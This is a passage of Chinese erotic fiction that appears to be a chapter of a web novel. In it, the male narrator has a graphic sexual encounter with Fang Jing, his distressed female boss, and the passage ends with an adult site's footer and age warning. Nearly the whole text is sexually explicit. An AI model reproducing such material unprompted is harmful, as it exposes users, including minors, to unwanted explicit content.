「我漂亮吗?」方静没头没脑的来了一句。

「漂亮。很漂亮,不是一般的漂亮。」我看着她说道。

「我要从心灵上还有肉体上彻底的结束。」方静眼里饱含决绝,却带着一丝
柔情。

她这句话让我有似曾相识的感觉,还有她那绝望而决绝的眼神,让我心中有
些软又有些潮。

第十二章销魂一夜

「吻我。」方静说道,那语气像一个受了委屈后,刚被哄好就撒娇的孩子。

我一愣,看了方静好一会,她眼里带着一丝暧昧,一丝盼望。什么话都不用
说。我的双唇靠了过去,方静闭起了眼睛。我的唇吻上了那方静那两片软软的红
唇上。接着一发不可收拾。她热情回应了我,气息有些乱,她的手勾了上来,按
着我的头部,我能感到她那张嘴唇像火焰般迅速的燃了起来。

我轻轻的双手扶着她的肩膀,我和她头部扭来扭去的对着口型,她的舌头伸
了过来,又软又湿又热,我下体硬了起来,一下子就进入到完全状态,龟头有些
疼。

她的舌头不断的在我口腔里撩拨着,一定是我阳刚的气息让她迷乱,她狂放
而热烈的把舌头伸到最大限度,几乎整个都伸了进来,她身体前俯,几乎就要把
我压在床上,被子从她上身掉了下来,那两只玉兔蹦了出来,在灯光下泛出一层
宝石般的光泽,我的一只手摸了上去,光滑而绵软,性欲一下子窜得老高老高。

我被压到了床上,她俯着贴了上来,双唇还在热吻着,紧紧的含吸着我伸到
她嘴腔里的大舌头,一只手忙乱的解开了我衬衣的扣子,摸了进来,在我那还算
结实的胸肌上,不断的摩挲着。她的气息更凌乱了,狂热的咬着我,我的嘴唇和
舌头都有些发痛,这更激起我的欲望。

我双手穿过她的腋下,紧紧的环住了她,继续和她缠吻在一起,我整个人都
振奋了起来。就这样我和她的嘴唇缠着,绕着,咬着,吸着,津液交融,清香四
溢,仿佛我们就是相爱好久的恋人般,热烈而缠绵。

当方静嘴唇离开我的嘴唇,她很近的看了我一眼,然后又吻了两下,接着她
挺起身子,把身上的腰带裙子都脱了,远远的扔到一边,三下五除二的把我脱了
个精光,我跪倒床上,把那很硬的阴茎挺在她的面前。

她的小手套了上去,往下推了一下,包皮被翻了下去,龟头裸露了出来,她
的小嘴毫不犹豫的含了上去,嘴唇被推到了阴茎长杆的中部,然后缓缓的往后拉
去,吮吸让她双腮深陷,一股酥麻的感觉让我哼哼了起来,呼,真他妈的爽。

她一只手飞快的套弄着阴茎的长杆,嘴巴热烈的含着吸着,让我整个人飘了
上来。她时而侧吸龟头,时而伸出粉红色的舌头在我马眼处不断的舔撩,不时的
还把阴茎整个按到肚皮上,从阴囊一直舔到龟头,然后把龟头一把含了进去,扭
转着绞吸起来,这女人的口交技巧还真不赖啊。

她富有技巧的口交,让我的阴茎硬得不能再硬。

她躺到了床上,双眼望着我,打开双腿,一只手在自己的阴道上,摸弄了两
把,两根手指把阴唇分开,对我说道:「搞我,狠狠的搞我。我不会再为那家伙
守活寡了,来吧!快!插我!」

我毫不犹豫的扑了上去,把那头角狰狞的阴茎插进了那已经泛滥成灾的蜜穴
里,肉褶翻滚,一股热热的液体包了上来,龟头毫无阻碍的直抵最深处,在里面
又顽强的勃了两勃,似乎又增大了一圈,阴茎硬得有些疼起来。方静发出了啊的
一声,似痛苦又似爽到极点。

我飞快的抽插起来,阴道里空气和阴液被挤压,发出扑哧扑哧的声音。我双
手环抱着她的背部,让她紧贴着我,用尽力气的挺动腰杆,疯狂的抽插着,现在
我插的可是平素高高在上女上司的屄啊,这样的感觉让我有种说不出的满足感和
刺激感。

很快方静的哼哼声转成了极度兴奋的浪叫声,两只丝袜脚挂在我的背上不停
的晃动着,一只手紧紧的勾着我的脖子,一只手撑在床上用力的抓着被褥,那被
褥被揉皱在一起,集成一团。

我卖力的抽插着,用尽全力的插着,好像那块屄与众不同般,让我自然而然
的不得不高速的运动自己的阴茎,很快我就感觉到方静的阴道急速的收缩起来,
她面色潮红,双眼紧闭,小嘴微张,想叫又叫不出来,随着两声略带停顿的啊啊
声,身子硬直,勾着我脖子的手用力的按拉着我的脖子,整个人仿佛窒息般死一
样的宁静,她来了一次强烈的高潮。

我轻轻放下方静,让她舒服的枕在枕头上,微微抬起上身,停止了阴茎的抽
插,只是把整个阴茎尽量的插到最深处,尽量的勃大阴茎配合她的高潮,同时细
细的感受着她阴道或收缩,或箍紧,或翻滚等诸般变化,龟头处如在一个吸盘的
中央,周围都是热热的肉褶在用力的吸着它,那种美妙不是亲身经历无法体会。

妙到不能再妙,强烈的刺激快感也上我舒服的长舒了一口气,额头也冒出了
汗水。

良久。

方静睁开了眼睛,微微含笑看着我,很惬意的吐出了一口气,说道:「哇!
高潮的感觉真是美妙,我多久没有这样的感觉了,一年?不一年多了吧。自己真
是很贱啊。真不应该浪费这么多时间。你真的好棒!」

我微笑的看着她,没有说话。继续的挺动腰杆,狠狠的插进抽出,那又潮又
湿的阴道肉肉的感觉让我舒服异常。

她的头靠了上来,双手捧着我的脸,嘴唇亲到我的嘴唇上,热烈的咬着我,
吻着我,吸着我,湿漉漉的舌头伸了出来,在我的脸上舔来舔去,打湿了我的鼻
子,我能闻到舌头那湿湿的热气,热辣而香艳。

抽插继续进行着,很快方静又来了一次高潮。她哼了一声,四肢用力缠抱着
我,她的身子出了一层细细的汗水,令滑腻的肌肤更滑腻了。贴在我胸膛的乳头
很硬的勃起着,用力的推挤着我的胸肌,这让我觉得异常的刺激。她的喘气声短
促而粗重,每呼出一口气都会随着全身的痉挛而带着哦的一声哼叫,听在耳朵里
如清脆的莺啼。这样的高潮叫声我还第一次听到,真是销魂极了。

方静的身子渐渐软去,她又从一次高潮中飘了回来。

她突然夹紧了我的下体,双手紧抓我的肩膀,用力的翻转我的身子,我顺势
转了过去,仰躺倒在床上,变成方静在上我在下,生殖器却未曾离开过。

方静骑着我的阴茎,两只手按着我的胸肌,用力的上下挺动着身子,狠狠的
套插着,她胸前的两只玉兔高高的抛起,又高高的落下,一副春波荡漾的样子,
看得我既销魂又享受,这怨妇玩得还真舒畅啊。


若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]